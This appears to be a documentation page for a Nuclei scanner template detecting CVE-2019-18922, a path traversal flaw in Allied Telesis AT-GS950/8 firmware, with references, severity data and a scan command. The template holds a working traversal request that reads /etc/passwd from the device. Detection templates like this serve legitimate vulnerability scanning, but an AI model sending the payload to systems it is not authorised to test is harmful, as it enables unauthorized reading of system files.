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Allied Telesis AT-GS950/8 - Local File Inclusion

ID: CVE-2019-18922

Severity: high

Author: 0x_Akoko

Tags: cve,cve2019,packetstorm,seclists,allied,lfi,alliedtelesis

Description

Section titled “Description”

Allied Telesis AT-GS950/8 until Firmware AT-S107 V.1.1.3 is susceptible to local file inclusion via its web interface.

YAML Source

Section titled “YAML Source”
id: CVE-2019-18922


info:
  name: Allied Telesis AT-GS950/8 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    Allied Telesis AT-GS950/8 until Firmware AT-S107 V.1.1.3 is susceptible to local file inclusion via its web interface.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to read arbitrary files on the affected device, leading to unauthorized access and potential data leakage.
  remediation: |
    Apply the latest firmware update provided by Allied Telesis to fix the vulnerability.
  reference:
    - https://packetstormsecurity.com/files/155504/Allied-Telesis-AT-GS950-8-Directory-Traversal.html
    - https://pastebin.com/dpEGKUGz
    - https://nvd.nist.gov/vuln/detail/CVE-2019-18922
    - http://packetstormsecurity.com/files/155504/Allied-Telesis-AT-GS950-8-Directory-Traversal.html
    - http://seclists.org/fulldisclosure/2019/Nov/31
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-18922
    cwe-id: CWE-22
    epss-score: 0.14866
    epss-percentile: 0.95795
    cpe: cpe:2.3:o:alliedtelesis:at-gs950\/8_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: alliedtelesis
    product: at-gs950\/8_firmware
  tags: cve,cve2019,packetstorm,seclists,allied,lfi,alliedtelesis


http:
  - method: GET
    path:
      - "{{BaseURL}}/../../../../../../etc/passwd"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"


      - type: status
        status:
          - 200
# digest: 4a0a0047304502205af5fca7b09f6b40169b53725f00bfed1d07c6bd335569c85a510cab87a28b96022100b918340ca8866c9f96c01b81e0bc0c0cd2fcdefe9c8306a954769be5b732b801:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-18922.yaml"

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